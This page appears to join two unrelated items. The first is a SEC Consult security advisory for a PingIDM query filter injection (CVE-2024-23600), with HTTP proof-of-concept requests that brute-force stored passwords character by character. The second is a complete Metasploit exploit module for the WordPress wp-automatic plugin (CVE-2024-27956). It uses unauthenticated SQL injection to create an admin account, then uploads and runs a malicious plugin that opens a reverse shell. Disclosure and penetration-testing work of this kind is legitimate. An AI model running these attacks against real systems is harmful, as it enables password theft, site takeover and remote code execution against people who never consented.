<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20241030-0 ><br />=======================================================================<br /> title: Query Filter Injection<br /> product: Ping Identity PingIDM (formerly known as ForgeRock Identity<br /> Management)<br /> vulnerable version: v7.0.0 - v7.5.0 (and older unsupported versions)<br /> fixed version: various patches; v8.0<br /> CVE number: CVE-2024-23600<br /> impact: medium<br /> homepage: https://backstage.forgerock.com/docs/idm<br /> found: 2024-04-10<br /> by: Ksandros Apostoli<br /> Miguel García Martín<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"ForgeRock Identity Management (IDM) software provides centralized, simple<br />management and synchronization of identities for users, devices, and things.<br />IDM software is highly flexible and therefore able to fit almost any use case<br />and workflow."<br /><br />Source: https://backstage.forgerock.com/docs/idm/7.5/release-notes/preface.html<br /><br />"The combination of Ping Identity and ForgeRock is ushering in a very exciting<br />time in the identity market. Together, our market-leading identity services will<br />deliver more choice, unparalleled expertise, and a more complete identity<br />solution for our customers and partners. We're incredibly excited to welcome<br />you all to the future of identity."<br /><br />Source: https://www.pingidentity.com/en/lp/pingandforgerock.html<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately.<br /><br />SEC Consult highly recommends to perform a thorough security review of the product<br />conducted by security professionals to identify and resolve potential further<br />security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Query Filter Injection (CVE-2024-23600)<br />Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions<br />7.5.0 and below, enabled an attacker with read access to the "User" collection,<br />to abuse API query filters in order to obtain managed and/or internal user's<br />passwords in either plaintext or encrypted variants, based on configuration.<br />The API clearly prevents the password in either plaintext or encrypted to be<br />retrieved by any other means, as this field is set as protected under the<br />"User" object.<br /><br />However, by injecting a malicious query filter, using "password" as the field to<br />be filtered, an attacker can perform a blind brute-force on any victim's user<br />password details (encrypted object or plaintext string).<br /><br />This blind brute-force can be very efficiently conducted since the query filtering<br />supported by the PingIDM API supports versatile operators such as Starts-With ('sw')<br />or Contains ('co') etc. The sole limitation in this approach is case-insensitivity<br />in the above-described filters adding an additional guessing overhead.<br /><br />The issue potentially extends to all protected fields of custom or built-in<br />collections, but this remains to be tested.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Query Filter Injection (CVE-2024-23600)<br />Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.<br /><br />PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwords<br />In the vulnerable instance running in this example (version 7.3.0), SEC Consult<br />created a test user with the following credentials: `secUser1:aAqQ1234!`.<br />A benign query filter in PingIDM can be crafted from the administrative<br />UI to filter, for example, users by their username (the password field is not<br />presented as available for filtering in the UI):<br /><br />HTTP Request<br />```<br />GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2<br />Host: $HOST<br />Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]<br />Accept-Api-Version: resource=1.0<br />Accept: application/json<br />Referer: https://$HOST/api/<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Priority: u=1, i<br />```<br /><br />HTTP Response<br />```<br />HTTP/2 200 OK<br />Date: Wed, 10 Apr 2024 13:05:13 GMT<br />Content-Type: application/json;charset=utf-8<br />Content-Length: 534<br />Cache-Control: no-store<br />Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox<br />Cross-Origin-Opener-Policy: same-origin<br />Cross-Origin-Resource-Policy: same-origin<br />Expires: 0<br />Pragma: no-cache<br />Set-Cookie: session-jwt=[redacted]<br />Path=/; HttpOnly<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: DENY<br />Vary: Accept-Encoding, User-Agent<br />Strict-Transport-Security: max-age=15724800; includeSubDomains<br />X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<br /><br />{<br /> "result": [<br /> {<br /> "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",<br /> "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",<br /> "userName": "secUser1",<br /> "accountStatus": "active",<br /> "postalCode": "8046",<br /> "stateProvince": "ZH",<br /> "postalAddress": "Flurstrasse",<br /> "description": "Pentest User 1",<br /> "country": "CH",<br /> "city": "Zurich",<br /> "givenName": "SEC",<br /> "sn": "Consult",<br /> "mail": "secuser1@sec-consult.com",<br /> "preferences": {<br /> "updates": true,<br /> "marketing": false<br /> }<br /> }<br /> ],<br /> "resultCount": 1,<br /> "pagedResultsCookie": null,<br /> "totalPagedResultsPolicy": "NONE",<br /> "totalPagedResults": -1,<br /> "remainingPagedResults": -1<br />}<br />```<br /><br />Note in the request/response pair above, that the query filter sent over the<br />presented API request was used to query all users with 'userName' starting<br />('sw') with the string "sec". As expected the test user 'secUser1'<br />was returned. In addition, observe that the password field is never to be<br />returned in any form (plaintext or encrypted) by the API.<br /><br />Despite not being available for filtering in either the UI or API documentation,<br />the 'password' field can be used instead of 'userName' in the example above<br />to query users based on their password. In case the PingIDM instance has been<br />configured to store user passwords persistently in plaintext, it can be queried<br />directly as shown in the request below:<br /><br />HTTP Request<br />```<br />GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2<br />Host: $HOST<br />Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]<br />Accept-Api-Version: resource=1.0<br />Accept: application/json<br />Referer: https://$HOST/api/<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Priority: u=1, i<br />```<br /><br />HTTP Response<br />```<br />HTTP/2 200 OK<br />Date: Wed, 10 Apr 2024 13:07:17 GMT<br />Content-Type: application/json;charset=utf-8<br />Content-Length: 534<br />Cache-Control: no-store<br />Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox<br />Cross-Origin-Opener-Policy: same-origin<br />Cross-Origin-Resource-Policy: same-origin<br />Expires: 0<br />Pragma: no-cache<br />Set-Cookie: session-jwt=[redacted]<br />Path=/; HttpOnly<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: DENY<br />Vary: Accept-Encoding, User-Agent<br />Strict-Transport-Security: max-age=15724800; includeSubDomains<br />X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<br /><br />{<br /> "result": [<br /> {<br /> "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",<br /> "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",<br /> "userName": "secUser1",<br /> "accountStatus": "active",<br /> "postalCode": "8046",<br /> "stateProvince": "ZH",<br /> "postalAddress": "Flurstrasse",<br /> "description": "Pentest User 1",<br /> "country": "CH",<br /> "city": "Zurich",<br /> "givenName": "SEC",<br /> "sn": "Consult",<br /> "mail": "secuser1@sec-consult.com",<br /> "preferences": {<br /> "updates": true,<br /> "marketing": false<br /> }<br /> }<br /> ],<br /> "resultCount": 1,<br /> "pagedResultsCookie": null,<br /> "totalPagedResultsPolicy": "NONE",<br /> "totalPagedResults": -1,<br /> "remainingPagedResults": -1<br />}<br />```<br /><br />As it can be noticed in the request above, all users with a password starting<br />with 'a' (case insensitive) were queried and as expected, user 'secUser1' with<br />password 'aAqQ1234!' was returned. For an additional sanity check, SEC Consult<br />next queried all users with password starting with 'aR'. Since no users are<br />to be found in the deployed instance with a matching password, no entries<br />are returned as it can be seen below:<br /><br />HTTP Request<br />```<br />GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2<br />Host: $HOST<br />Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]<br />Accept-Api-Version: resource=1.0<br />Accept: application/json<br />Referer: https://$HOST/api/<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Priority: u=1, i<br />```<br /><br />HTTP Response<br />```<br />HTTP/2 200 OK<br />Date: Wed, 10 Apr 2024 13:08:01 GMT<br />Content-Type: application/json;charset=utf-8<br />Content-Length: 138<br />Cache-Control: no-store<br />Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox<br />Cross-Origin-Opener-Policy: same-origin<br />Cross-Origin-Resource-Policy: same-origin<br />Expires: 0<br />Pragma: no-cache<br />Set-Cookie: session-jwt=[redacted]<br />Path=/; HttpOnly<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: DENY<br />Vary: Accept-Encoding, User-Agent<br />Strict-Transport-Security: max-age=15724800; includeSubDomains<br />X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<br /><br />{<br /> "result": [],<br /> "resultCount": 0,<br /> "pagedResultsCookie": null,<br /> "totalPagedResultsPolicy": "NONE",<br /> "totalPagedResults": -1,<br /> "remainingPagedResults": -1<br />}<br />```<br /><br />However, if the attacker correctly guesses the second letter of the password,<br />e.g., by querying for passwords starting with 'aA', we observe that the same user<br />is returned as before:<br /><br />HTTP Request<br />```<br />GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2<br />Host: $HOST<br />Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]<br />Accept-Api-Version: resource=1.0<br />Accept: application/json<br />Referer: https://$HOST/api/<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Priority: u=1, i<br />```<br /><br />HTTP Response<br />```<br />HTTP/2 200 OK<br />Date: Wed, 10 Apr 2024 13:09:25 GMT<br />Content-Type: application/json;charset=utf-8<br />Content-Length: 534<br />Cache-Control: no-store<br />Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox<br />Cross-Origin-Opener-Policy: same-origin<br />Cross-Origin-Resource-Policy: same-origin<br />Expires: 0<br />Pragma: no-cache<br />Set-Cookie: session-jwt=[redacted]<br />Path=/; HttpOnly<br />X-Content-Type-Options: nosniff<br />X-Frame-Options: DENY<br />Vary: Accept-Encoding, User-Agent<br />Strict-Transport-Security: max-age=15724800; includeSubDomains<br />X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<br /><br />{<br /> "result": [<br /> {<br /> "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",<br /> "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",<br /> "userName": "secUser1",<br /> "accountStatus": "active",<br /> "postalCode": "8046",<br /> "stateProvince": "ZH",<br /> "postalAddress": "Flurstrasse",<br /> "description": "Pentest User 1",<br /> "country": "CH",<br /> "city": "Zurich",<br /> "givenName": "SEC",<br /> "sn": "Consult",<br /> "mail": "secuser1@sec-consult.com",<br /> "preferences": {<br /> "updates": true,<br /> "marketing": false<br /> }<br /> }<br /> ],<br /> "resultCount": 1,<br /> "pagedResultsCookie": null,<br /> "totalPagedResultsPolicy": "NONE",<br /> "totalPagedResults": -1,<br /> "remainingPagedResults": -1<br />}<br />```<br /><br />This indicates that an attacker can efficiently brute-force users' passwords.<br /><br /><br />PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwords<br />PingIDM by default stores a user's password encrypted symmetrically using a<br />private key that is created upon the first startup of the platform and is<br />stored in the application key-store under '{installation-path}/security/keystore.jceks'.<br />The encrypted password is represented by an object rather than a string. An example<br />of an encrypted password JSON object is shown below:<br /><br />```<br /> "username" : "anonymous",<br /> "password" : {<br /> "$crypto" : {<br /> "type" : "x-simple-encryption",<br /> "value" : {<br /> "cipher" : "AES/CBC/PKCS5Padding",<br /> "stableId" : "openidm-sym-default",<br /> "salt" : "9fwdc+Vp1LxDno0YC6bXAA==",<br /> "data" : "JtFAY+EupwCSLbH06d5OPA==",<br /> "keySize" : 16,<br /> "purpose" : "idm.config.encryption",<br /> "iv" : "Aaek9zviMgZVz/fvOOobIQ==",<br /> "mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="<br /> }<br /> }<br /> },<br />```<br /><br />While at first glance this object structure seems to break the query filter<br />injection from the previous example, it was found that all encrypted password<br />fields can be queried in the exact same way using the '_queryFilter' GET<br />parameter, and by fully specifying their path within the JSON object, for<br />example:<br /><br />```<br />GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"<br />```<br /><br />The above request can be modified to include all other fields such as cipher,<br />salt, data, iv, mac, etc. Obtaining a cleartext password in this example,<br />would be clearly more challenging, as it would entirely depend on the security<br />of the encryption key utilized. However, under certain circumstances<br />(subject to user permissions), users in PingIDM can use the REST API to decrypt<br />encrypted objects without the need for the key, as shown in the documentation:<br /><br />```<br />curl \<br />--header "X-OpenIDM-Username: openidm-admin" \<br />--header "X-OpenIDM-Password: openidm-admin" \<br />--header "Content-Type: application/json" \<br />--cacert ca-cert.pem \<br />--request POST \<br />--data '{<br /> "type": "text/javascript",<br /> "globals": {<br /> "val": {<br /> "$crypto": {<br /> "type": "x-simple-encryption",<br /> "value": {<br /> "cipher": "AES/CBC/PKCS5Padding",<br /> "stableId": "openidm-sym-default",<br /> "salt": "qAS/eG7zdnFyK5H8lXvqTA==",<br /> "data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",<br /> "keySize": 16,<br /> "purpose": "idm.password.encryption",<br /> "iv": "A4pIiY6kG6t0uLyLmJAoWQ==",<br /> "mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="<br /> }<br /> }<br /> }<br /> },<br /> "source":"openidm.decrypt(val);"<br />}' \<br />"https://$HOST/openidm/script?_action=eval"<br />{<br /> "myKey": "myPassword"<br />}<br />```<br />source: https://backstage.forgerock.com/docs/idm/7/security-guide/keystore-encrypt-decrypt.html<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following versions have been tested which were the latest version<br />available at the time of the test:<br />* 7.3.0<br />* 7.5.0<br /><br />The vendor communicated the following affected versions:<br />* 7.0.0 - 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2024-04-17: Contacting vendor through https://support.pingidentity.com/s/security-vulnerability<br /> No response.<br />2024-05-02: Contacting vendor through vulnerability submission form again.<br /> No response.<br />2024-05-23: Contacting CISO via LinkedIn. Immediate response, submitting<br /> advisory details via encrypted email.<br />2024-06-04: Security engineering team responds, acknowledges finding with low risk score.<br /> Patch will be released and CVE be assigned nevertheless.<br />2024-06-11: Asking vendor for coordinated release, timeline, affected/fixed versions, CVE.<br />2024-06-17: Vendor: thoroughly addressed the vulnerability, assigned CVE-2024-23600.<br /> Tentative public date for CVE is 24th June. Because of low risk, fix will be in next<br /> GA release 7.6 and backports to 7.5.x-7.1., acknowledged credits for team,<br /> needs us to submit to HackerOne as well regarding bug bounty donation.<br />2024-06-21: Submitting to HackerOne, proposing coordinated release of our advisory<br /> after patches are available to customers.<br />2024-08-01: PingIdentity informs us that everything is patched and CVE released, awarded bounty.<br />2024-09-25: Following up after vacation absences, preparing our security advisory release,<br /> asking for clarification regarding version numbers; no response<br />2024-10-17: Asking for version numbers and download URLs again<br /> Vendor confirms versions numbers and links.<br />2024-10-22: Informing vendor about planned advisory release next week.<br />2024-10-29: Receiving feedback, version 7.6 won't be released, but 8.0; Adjusting advisory.<br />2024-10-30: Coordinated advisory release<br /><br /><br />Solution:<br />---------<br />The vendor provides patches for the affected versions which can be downloaded from<br />their download site. Furthermore, the upcoming release 8.0 includes the fixes as well:<br />https://backstage.forgerock.com/downloads/browse/idm/all/productId:idm<br /><br />Vendor security advisory with further information:<br />https://backstage.forgerock.com/knowledge/advisories/article/a95212747<br /><br /><br />Workaround:<br />-----------<br />For custom roles, a granular permission selection can be made on all<br />object's fields allowing 'Read', 'Read/Write', and 'None' access options.<br />In the User object, the 'password' field is configurable to these<br />permissions as well, even though this field can never be retrieved<br />or read from any API endpoints or UI (rightfully so). If the<br />permissions for the 'password' field under the user role are set<br />to 'None', this will prevent also queries from being executed on<br />that field. By default, when assigning read permissions to an object,<br />all fields are marked as 'Read', as expected, therefore this change<br />needs to be done manually.<br /><br />Unfortunately, for built-in roles, e.g. 'openidm-admin', these granular<br />permissions cannot be set, therefore this workaround won't work.<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Ksandros Apostoli, Miguel García Martín / @2024<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class SQLExecutionError < RuntimeError; end<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Payload::Php<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Wordpress<br /> include Msf::Exploit::Remote::HTTP::Wordpress::SQLi<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'WordPress wp-automatic Plugin SQLi Admin Creation',<br /> 'Description' => %q{<br /> This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions < 3.92.1)<br /> to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,<br /> which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.<br /> Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control<br /> over the WordPress site.<br /> },<br /> 'Author' => [<br /> 'Rafie Muhammad', # Vulnerability discovery<br /> 'Valentin Lobstein' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2024-27956'],<br /> ['WPVDB', '53a51e79-a216-4ca3-ac2d-57098fd2ebb5'],<br /> ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-automatic/automatic-3920-unauthenticated-sql-injection'],<br /> ['URL', 'https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/']<br /> ],<br /> 'Platform' => %w[php unix linux win],<br /> 'Arch' => [ARCH_PHP, ARCH_CMD],<br /> 'DisclosureDate' => '2024-03-13',<br /> 'DefaultTarget' => 0,<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'PHP In-Memory',<br /> {<br /> 'Platform' => 'php',<br /> 'Arch' => ARCH_PHP<br /> # tested with php/meterpreter/reverse_tcp<br /> }<br /> ],<br /> [<br /> 'Unix/Linux Command Shell',<br /> {<br /> 'Platform' => %w[unix linux],<br /> 'Arch' => ARCH_CMD<br /> # tested with cmd/linux/http/x64/meterpreter/reverse_tcp<br /> }<br /> ],<br /> [<br /> 'Windows Command Shell',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD<br /> # tested with cmd/windows/http/x64/meterpreter/reverse_tcp<br /> }<br /> ]<br /> ],<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('USERNAME', [false, 'Username to create', Faker::Internet.username]),<br /> OptString.new('PASSWORD', [false, 'Password for the new user', Faker::Internet.password(min_length: 8)]),<br /> OptString.new('EMAIL', [false, 'Email for the new user', Faker::Internet.email])<br /> ]<br /> )<br /> end<br /><br /> def create_sqli_instance<br /> @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|<br /> execute_sql_query(payload)<br /> end<br /> end<br /><br /> def execute_sql_query(query)<br /> formatted_query = query.strip.upcase.start_with?('INSERT') ? query : "SELECT (#{query})"<br /> response = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'inc', 'csv.php'),<br /> 'method' => 'POST',<br /> 'vars_post' => {<br /> 'q' => formatted_query,<br /> 'auth' => "\0",<br /> 'integ' => Rex::Text.md5(formatted_query)<br /> }<br /> })<br /><br /> raise SQLExecutionError, "Failed to execute SQL query: #{query}" unless response<br /><br /> response<br /> end<br /><br /> def upload_and_execute_payload(admin_cookie)<br /> plugin_name = Faker::App.name.gsub(/\s+/, '').downcase<br /> payload_name = Faker::Hacker.noun.gsub(/\s+/, '').downcase<br /><br /> payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")<br /> zip = generate_plugin(plugin_name, payload_name)<br /><br /> print_status('Uploading payload...')<br /><br /> uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)<br /> fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded<br /><br /> print_status("Executing the payload at #{payload_uri}...")<br /><br /> register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")<br /> register_dir_for_cleanup("../#{plugin_name}")<br /> send_request_cgi({<br /> 'uri' => payload_uri,<br /> 'method' => 'GET'<br /> })<br /> end<br /><br /> def exploit<br /> create_sqli_instance<br /> wordpress_sqli_initialize(@sqli)<br /><br /> begin<br /> username = datastore['USERNAME']<br /> password = datastore['PASSWORD']<br /> email = datastore['EMAIL']<br /><br /> wordpress_sqli_create_user(username, password, email)<br /> wordpress_sqli_grant_admin_privileges(username)<br /> admin_cookie = wordpress_login(username, password)<br /><br /> fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless admin_cookie<br /><br /> upload_and_execute_payload(admin_cookie)<br /> rescue SQLExecutionError => e<br /> fail_with(Failure::UnexpectedReply, e.message)<br /> end<br /> end<br /><br /> def check<br /> return CheckCode::Unknown unless wordpress_and_online?<br /><br /> print_status('Attempting SQLi test to verify vulnerability...')<br /><br /> create_sqli_instance<br /><br /> begin<br /> if @sqli.test_vulnerable<br /> CheckCode::Vulnerable('Target is vulnerable to SQLi!')<br /> else<br /> CheckCode::Safe('Target is not vulnerable or the SQLi test failed.')<br /> end<br /> rescue SQLExecutionError => e<br /> print_error(e.message)<br /> CheckCode::Unknown('Failed to verify SQLi vulnerability due to an error.')<br /> end<br /> end<br />end<br /></code></pre>